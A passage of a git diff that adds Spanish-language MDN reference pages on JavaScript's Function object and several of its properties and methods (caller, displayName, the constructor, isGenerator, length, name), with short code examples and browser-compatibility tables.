+<pre class="brush: js notranslate">var animales = [
+  {especie: 'Leon', nombre: 'Rey'},
+  {especie: 'Whale', nombre: 'Fail'}
+];
+
+for (var i = 0; i &lt; animales.length; i++) {
+  (function (i) {
+    this.imprimir = function () {
+      console.log('#' + i  + ' ' + this.especie + ': ' + this.nombre);
+    }
+    this.imprimir();
+  }).call(animales[i], i);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/caller/index.html b/files/es/web/javascript/referencia/objetos_globales/function/caller/index.html
new file mode 100644
index 0000000000..942df69a68
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/caller/index.html
@@ -0,0 +1,128 @@
+---
+title: Function.caller
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/caller
+tags:
+  - Función Javascript No-standard Propiedad
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller
+---
+<div>{{JSRef("Global_Objects", "Function")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad <code><strong><em>function</em>.caller</strong></code> retorna la función que llamó a la función especificada.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Si la función <code>f</code> fue llamada por desde nivel raiz (top level code), el valor de <code>f.caller</code> es {{jsxref("Global_Objects/null", "null")}}, de lo contrario se retorna la función que llamó a <code>f</code>.</p>
+
+<p>Esta propiedad reemplaza a la propiedad obsoleta {{jsxref("Functions_and_function_scope/arguments/caller", "arguments.caller")}} del objeto {{jsxref("Funciones/arguments", "arguments")}}.</p>
+
+<p>la propiedad especial <code>__caller__</code>, la cual retornaba el objeto de activación del llamador y permitía reconstruir la pila de llamadas, ha sido removida por motivos de seguridad.</p>
+
+<h3 id="Notes" name="Notes">Notas</h3>
+
+<p>En caso de recursión se puede reconstruir la pila de llamada utilizando esta propiedad, tal como se muestra a continuación:</p>
+
+<pre class="brush: js">function f(n) { g(n - 1); }
+function g(n) { if (n &gt; 0) { f(n); } else { stop(); } }
+f(2);
+</pre>
+
+<p>Al momento de ejecutar <code>stop()</code> este se llama con la siguiente pila de llamadas:</p>
+
+<pre class="eval">f(2) -&gt; g(1) -&gt; f(1) -&gt; g(0) -&gt; stop()
+</pre>
+
+<p>Siendo verdadero la siguiente consideración:</p>
+
+<pre class="eval">stop.caller === g &amp;&amp; f.caller === g &amp;&amp; g.caller === f
+</pre>
+
+<p>Por lo tanto si se intenta obtener el rastro de llamadas (stack trace) de la función <code>stop()</code> como se muestra a continuación:</p>
+
+<pre class="brush: js">var f = stop;
+var stack = 'Stack trace:';
+while (f) {
+  stack += '\n' + f.name;
+  f = f.caller;
+}
+</pre>
+
+<p>se provocará una bucle que nunca termina.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Checking_the_value_of_a_function.27s_caller_property" name="Example:_Checking_the_value_of_a_function.27s_caller_property">Ejemplo: Verificar el valor de la propiedad <code>caller</code> de una función</h3>
+
+<p>El siguiente código verifica el valor de la propiedad <code>caller</code> de una función.</p>
+
+<pre class="brush: js">function myFunc() {
+  if (myFunc.caller == null) {
+    return 'The function was called from the top!';
+  } else {
+    return 'This function\'s caller was ' + myFunc.caller;
+  }
+}
+</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<p>No es parte de ninguna especificación. Se implementa en JavaScript 1.5.</p>
+
+<h2 id="Compatiblilidad_de_Navegadores">Compatiblilidad de Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>Problema de implementación para SpiderMonkey {{bug(65683)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/displayname/index.html b/files/es/web/javascript/referencia/objetos_globales/function/displayname/index.html
new file mode 100644
index 0000000000..d464266838
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/displayname/index.html
@@ -0,0 +1,77 @@
+---
+title: Function.displayName
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/displayName
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>The <code><strong><em>function</em>.displayName</strong></code> property returns the display name of the function.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cuando se define la propiedad <code>displayName</code> , retorna un mensaje con el nombre para mostrar en una función:</p>
+
+<pre class="brush: js">function doSomething() {}
+
+console.log(doSomething.displayName); // "undefined"
+
+var popup = function(content) { console.log(content); };
+
+popup.displayName = 'Show Popup';
+
+console.log(popup.displayName); // "Show Popup"
+</pre>
+
+<p>Tu puedes definir una funcion con un nombre a mostrar en un {{jsxref("Functions", "function expression", "", 1)}}:</p>
+
+<pre class="brush: js">var object = {
+  someMethod: function() {}
+};
+
+object.someMethod.displayName = 'someMethod';
+
+console.log(object.someMethod.displayName); // logs "someMethod"
+
+try { someMethod } catch(e) { console.log(e); }
+// ReferenceError: someMethod is not defined
+</pre>
+
+<p>Puedes cambiar dinámicamente el <code>displayName</code> de una función:</p>
+
+<pre class="brush: js">var object = {
+  // anonymous
+  someMethod: function(value) {
+    arguments.callee.displayName = 'someMethod (' + value + ')';
+  }
+};
+
+console.log(object.someMethod.displayName); // "undefined"
+
+object.someMethod('123')
+console.log(object.someMethod.displayName); // "someMethod (123)"
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Normalmente, se prefiere por consolas y profilers sobre {{jsxref("Function.name", "func.name")}} a mostrar el nombre de una función.</p>
+
+<p>Al ingresar lo siguiente en una consola, debería mostrarse como algo así como "<code>function My Function()</code>":</p>
+
+<pre class="brush: js">var a = function() {};
+a.displayName = 'My Function';
+
+a; // "function My Function()"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any specification.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.displayName")}}</p>
+</div>
+
+<div> </div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/función/index.html b/files/es/web/javascript/referencia/objetos_globales/function/función/index.html
new file mode 100644
index 0000000000..af4dff0361
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/función/index.html
@@ -0,0 +1,92 @@
+---
+title: Function() constructor
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/Función
+tags:
+  - Constructor
+  - Function
+  - JavaScript
+  - Referencia
+  - función
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/Function
+---
+<div>{{JSRef("Objetos_globales", "Function")}}</div>
+
+<p><span class="seoSummary">El constructor <strong><code>Function</code></strong> crea un nuevo <strong>objeto</strong> <code>Function</code>. Llamar al constructor directamente puede crear funciones dinámicamente, pero tiene problemas de seguridad y de rendimiento similares (pero mucho menos importantes) para {{jsxref("eval")}}. Sin embargo, a diferencia de eval, el constructor <code>Function</code> crea funciones que solo se ejecutan en el ámbito global.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-constructor.html","shorter")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>new Function([<var>arg1 </var>[, <var>arg2 </var>[, ...<var>argN</var>]] ,] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>arg1</var>, <var>arg2</var>, ... <var>argN</var></code></dt>
+ <dd>Nombres que utilizará la función como nombres de argumentos formales. Cada uno debe ser una cadena que corresponda a un identificador JavaScript válido, o una lista de dichas cadenas separadas por una coma. Por ejemplo: "<code>x</code>", "<code>theValue</code>" —o "<code>x,theValue</code>".</dd>
+ <dt><code><var>functionBody</var></code></dt>
+ <dd>Una cadena que contiene las declaraciones de JavaScript que comprenden la definición de función.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los objetos <code>Function</code> creados con el constructor <code>Function</code> se procesan cuando se crea la función. Esto es menos eficiente que declarar una función con una {{jsxref("Operators/function", "expresión de función")}} o {{jsxref("Statements/function", "declaración de función")}} y llamarla dentro de tu código porque tales funciones se procesan con el resto del código.</p>
+
+<p>Todos los argumentos pasados a la función se tratan como los nombres de los identificadores de los parámetros en la función que se va a crear, en el orden en que se pasan. Omitir un argumento dará como resultado que el valor de ese parámetro sea <code>undefined</code>.</p>
+
+<p>Invocar el constructor <code>Function</code> como función (sin usar el operador <code>new</code>) tiene el mismo efecto que invocarlo como constructor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Especificar_argumentos_con_el_constructor_Function">Especificar argumentos con el constructor Function</h3>
+
+<p>El siguiente código crea un objeto <code>Function</code> que toma dos argumentos.</p>
+
+<pre class="brush: js notranslate">// El ejemplo se puede ejecutar directamente en tu consola JavaScript
+
+// Crea una función que toma dos argumentos y devuelve la suma de esos argumentos
+const adder = new Function('a', 'b', 'return a + b');
+
+// Llama a la función
+adder(2, 6);
+// 8
+</pre>
+
+<p>Los argumentos "<code>a</code>" y "<code>b</code>" son nombres de argumentos formales que se utilizan en el cuerpo de la función, "<code>return a + b</code>".</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-constructor', 'Constructor Function')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Function.Function")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Funciones y ámbito de la función", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "Declaración de function")}}</li>
+ <li>{{jsxref("Operators/function*", "Expresión function*")}}</li>
+ <li>{{jsxref("Statements/function", "Declaración de function*")}}</li>
+ <li>{{jsxref("Operators/function*", "Expresión function*")}}</li>
+ <li>{{jsxref("AsyncFunction", "Función asíncrona", "", 1)}}</li>
+ <li>{{jsxref("GeneratorFunction", "Función generadora", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/index.html b/files/es/web/javascript/referencia/objetos_globales/function/index.html
new file mode 100644
index 0000000000..5b586f3611
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/index.html
@@ -0,0 +1,118 @@
+---
+title: Function
+slug: Web/JavaScript/Referencia/Objetos_globales/Function
+tags:
+  - Clase
+  - Class
+  - Declaración
+  - Expresión
+  - Function
+  - JavaScript
+  - función
+translation_of: Web/JavaScript/Reference/Global_Objects/Function
+---
+<div>{{JSRef("Objetos_globales", "Function")}}</div>
+
+<p>Cada función de JavaScript en realidad es un objeto <code>Function</code>. Esto se puede ver con el código <code>(function() {}).constructor === Function</code>, que devuelve <code>true</code>.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("Function/Function", "Function()", "", 1)}}</dt>
+ <dd>Crea un nuevo objeto <code>Function</code>. Llamar al constructor directamente puede crear funciones dinámicamente, pero tiene problemas de seguridad y de rendimiento similares (pero mucho menos importantes) para {{jsxref("eval")}}. Sin embargo, a diferencia de <code>eval</code>, el constructor <code>Function</code> crea funciones que solo se ejecutan en el ámbito global.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Function.arguments")}}</dt>
+ <dd>Un arreglo que corresponde a los argumentos pasados a una función.<br>
+ Esto está obsoleto como propiedad de {{jsxref("Function")}}. En su lugar, utiliza el objeto {{jsxref("Functions/arguments", "arguments", "", 1)}} (disponible dentro de la función).</dd>
+ <dt>{{jsxref("Function.caller")}}</dt>
+ <dd>Especifica la función que invocó a la función que se está ejecutando actualmente.<br>
+ Esta propiedad está obsoleta, y solo es funcional para algunas funciones no estrictas.</dd>
+ <dt>{{jsxref("Function.displayName")}}</dt>
+ <dd>El nombre a mostrar de la función.</dd>
+ <dt>{{jsxref("Function.length")}}</dt>
+ <dd>Especifica el número de argumentos que espera la función.</dd>
+ <dt>{{jsxref("Function.name")}}</dt>
+ <dd>El nombre de la función.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("Function.prototype.apply()", "Function.prototype.apply(<var>thisArg</var> [, <var>argsArray</var>])")}}</dt>
+ <dd>Llama a una función y establece su <code>this</code> en el <code><var>thisArg</var></code> proporcionado. Los argumentos se pueden pasar como un objeto {{jsxref("Array")}}.</dd>
+ <dt>{{jsxref("Function.prototype.bind()", "Function.prototype.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]]])")}}</dt>
+ <dd>Crea una nueva función que, cuando se llama, tiene su <code>this</code> configurado en el <code><var>thisArg</var></code>. Opcionalmente, una determinada secuencia de argumentos se antepondrá a los argumentos siempre que se llame a la función recién invocada.</dd>
+ <dt>{{jsxref("Function.prototype.call()", "Function.prototype.call(<var>thisArg</var>[, <var>arg1</var>, <var>arg2</var>, ...<var>argN</var>])")}}</dt>
+ <dd>Llama a una función y establece su <code>this</code> en el valor proporcionado. Los argumentos se pueden pasar tal cual.</dd>
+ <dt>{{jsxref("Function.prototype.toString()", "Function.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el código fuente de la función.<br>
+ Redefine el método {{jsxref("Object.prototype.toString()")}}.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Diferencia_entre_el_constructor_Function_y_la_declaración_function">Diferencia entre el constructor Function y la declaración function</h3>
+
+<p>Las funciones creadas con el constructor <code>Function</code> no crean cierres para sus contextos de creación; siempre se crean en el ámbito global. Al ejecutarlos, solo podrán acceder a sus propias variables locales y globales, no a las del ámbito en el que se creó el constructor <code>Function</code>. Esto es diferente de usar {{jsxref("eval")}} con código para una expresión de función.</p>
+
+<pre class="brush: js notranslate">var x = 10;
+
+function createFunction1() {
+    var x = 20;
+    return new Function('return x;'); // esta |x| se refiere a la |x| global
+}
+
+function createFunction2() {
+    var x = 20;
+    function f() {
+        return x; // esta |x| se refiere a la |x| local
+    }
+    return f;
+}
+
+var f1 = createFunction1();
+console.log(f1());          // 10
+var f2 = createFunction2();
+console.log(f2());          // 20
+</pre>
+
+<p>Si bien este código funciona en los navegadores web, <code>f1()</code> producirá un <code>ReferenceError</code> en Node.js, ya que no encontrará a <code>x</code>. Esto se debe a que el ámbito de nivel superior en Node no es el ámbito global, y <code>x</code> será local para el módulo.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.Function")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{jsxref("Functions", "Funciones y ámbito de la función", "", 1)}}</li>
+ <li>Declaración {{jsxref("Statements/function", "function")}}</li>
+ <li>Expresión {{jsxref("Operators/function", "function")}}</li>
+ <li>Declaración {{jsxref("Statements/function*", "function*")}}</li>
+ <li>Expresión {{jsxref("Operators/function*", "function*")}}</li>
+ <li>{{jsxref("AsyncFunction", "Función asíncrona", "", 1)}}</li>
+ <li>{{jsxref("GeneratorFunction", "Función generadora", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/isgenerator/index.html b/files/es/web/javascript/referencia/objetos_globales/function/isgenerator/index.html
new file mode 100644
index 0000000000..7c5dd089d4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/isgenerator/index.html
@@ -0,0 +1,90 @@
+---
+title: Function.prototype.isGenerator()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/isGenerator
+translation_of: Archive/Web/JavaScript/Function.isGenerator
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <code><strong>isGenerator()</strong></code> determina si una función es un <a href="/es/docs/Web/JavaScript/Guide/Iterators_and_Generators">generador</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>fun</var>.isGenerator()</code></pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>isGenerator()</code> determina si una función es un <a href="/es/docs/Web/JavaScript/Guide/Iterators_and_Generators">generador</a>. Fue parte de una propuesta del proceso de estandarización "Harmony", pero no fue incluido en la especificación ECMAScript 6.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">function f() {}
+
+function* g() {
+  yield 42;
+}
+
+console.log('f.isGenerator() = ' + f.isGenerator()); // f.isGenerator() = false
+console.log('g.isGenerator() = ' + g.isGenerator()); // g.isGenerator() = true
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación. Implementado en JavaScript 1.8.6.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators and generators</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/length/index.html b/files/es/web/javascript/referencia/objetos_globales/function/length/index.html
new file mode 100644
index 0000000000..7638859bba
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/length/index.html
@@ -0,0 +1,151 @@
+---
+title: Function.length
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/length
+tags:
+  - JavaScript
+  - Propiedad
+  - función
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>La propiedad <code><strong>length</strong></code> especifica el número de argumentos esperados por la función.</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p><code>length</code> es la propiedad de una función objeto, e indica el número de argumentos que una función requiere, por ejemplo, el número de parámetros formales. Este número no incluye {{jsxref("rest_parameters", "rest parameter", "", 1)}}. En cambio, {{jsxref("Functions_and_function_scope/arguments/length", "arguments.length")}} es local a una función y aporta el número de argumentos actuales pasados a una función.</p>
+
+<h3 id="Propiedades_de_la_Función_constructora">Propiedades de la <code>Función</code> constructora</h3>
+
+<p>El {{jsxref("Global_Objects/Function", "Function")}} constructor en sí mismo es {{jsxref("Global_Objects/Function", "Function")}} un objeto. Sú <code>propiedad length</code> tiene el valor 1. Los atributos son: Grabable: <code>false</code>, Enumerable: <code>false</code>, Configurable: <code>true</code>.</p>
+
+<h3 id="Propiedad_de_la_Función_prototype_object">Propiedad de la  <code>Función</code> prototype object</h3>
+
+<p>La propiedad length del {{jsxref("Global_Objects/Function", "Function")}} objeto prototype tiene el valor 0.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: js">console.log(Function.length); /* 1 */
+
+console.log((function()        {}).length); /* 0 */
+console.log((function(a)       {}).length); /* 1 */
+console.log((function(a, b)    {}).length); /* 2 etc. */
+console.log((function(...args) {}).length); /* 0, resto de parámetros no se contemplan */
+console.log((function(a, b = 1, c) {}).length); /* 1, solo parámetros antes del primero con un valor por defecto son contados */
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definición inicial. Implementado en JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td><code>length</code> property of the {{jsxref("Global_Objects/Function", "Function")}} constructor:<br>
+    {{SpecName('ES5.1', '#sec-15.3.3.2', 'Function.length')}}<br>
+    <code>length</code> property of the {{jsxref("Global_Objects/Function", "Function")}} prototype object:<br>
+    {{SpecName('ES5.1', '#sec-properties-of-the-function-prototype-object', 'Function.length')}}<br>
+    <code>length</code> property of {{jsxref("Global_Objects/Function", "Function")}} instances:<br>
+    {{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>length</code> property of the {{jsxref("Global_Objects/Function", "Function")}} constructor:<br>
+    {{SpecName('ES6', '#sec-function.length', 'Function.length')}}<br>
+    <code>length</code> property of the {{jsxref("Global_Objects/Function", "Function")}} prototype object:<br>
+    {{SpecName('ES6', '#sec-15.3.4', 'Function.length')}}<br>
+    <code>length</code> property of {{jsxref("Global_Objects/Function", "Function")}} instances:<br>
+    {{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>El atributo <code>configurable</code> de esta propiedad ahora es <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Configurable: true</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(37)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Function", "Función")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/name/index.html b/files/es/web/javascript/referencia/objetos_globales/function/name/index.html
new file mode 100644
index 0000000000..2440bd60f1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/name/index.html
@@ -0,0 +1,223 @@
+---
+title: Function.name
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/name
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/name
+---
+<div>{{JSRef}}</div>
+
+<p>La propiedad <code><strong><em>function</em>.name</strong></code> retorna el nombre de la función o retorna <code>"anonymous"</code> por funciones creadas anónimamente.</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<div>Nótese que en implementaciones no estándar previas a ES2015 el atributo <code>configurable</code> también era <code>false</code>.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Nombre_de_una_declaración_de_función">Nombre de una declaración de función</h3>
+
+<p>La propiedad <code>name</code> retorna el nombre de una declaración de función.</p>
+
+<pre class="brush: js">function doSomething() {}
+
+console.log(doSomething.name); // imprime en pantalla "doSomething"
+</pre>
+
+<h3 id="Nombre_de_constructor_de_función">Nombre de constructor de función</h3>
+
+<p>Las funciones creadas con la sintaxis <code>new Function(...)</code> o simplemente <code>Function(...)</code> tienen como propiedad <code>name</code> una cadena vacía. En los ejemplos a continuación se crean funciones anónimas, tales que su <code>name</code> retorna una cadena vacía:</p>
+
+<pre class="brush: js">var f = function() {};
+var object = {
+  someMethod: function() {}
+};
+
+console.log(f.name == ''); // true
+console.log(object.someMethod.name == ''); // también true
+</pre>
+
+<h3 id="Nombres_de_función_inferidos">Nombres de función inferidos</h3>
+
+<p>Los navegadores que implementan funciones ES2015 pueden inferir el nombre de una función anónima de su posición sintáctica. Por ejemplo:</p>
+
+<pre class="brush: js">var f = function() {};
+console.log(f.name); // "f"</pre>
+
+<p>Se puede definir una función con un nombre en un {{jsxref("Operators/Function", "function expression", "", 1)}}:</p>
+
+<pre class="brush: js">var object = {
+  someMethod: function object_someMethod() {}
+};
+console.log(object.someMethod.name); // imprime "object_someMethod"
+
+try { object_someMethod } catch(e) { console.log(e); }
+// ReferenceError: object_someMethod is not defined
+</pre>
+
+<p>No se puede cambiar el nombre de una función, esta propiedad es de solo lectura:</p>
+
+<pre class="brush: js">var object = {
+  // anonymous
+  someMethod: function() {}
+};
+
+object.someMethod.name = 'someMethod';
+console.log(object.someMethod.name); // cadena vacía, someMethod es anónimo
+</pre>
+
+<p>Sin embargo, se puede usar {{jsxref("Object.defineProperty()")}} para cambiarlo.</p>
+
+<h3 id="Nombres_de_métodos">Nombres de métodos</h3>
+
+<pre class="brush: js">var o = {
+  foo(){}
+};
+o.foo.name; // "foo";</pre>
+
+<h3 id="Nombres_de_funciones_atadas_(creadas_con_.bind())">Nombres de funciones atadas (creadas con .bind())</h3>
+
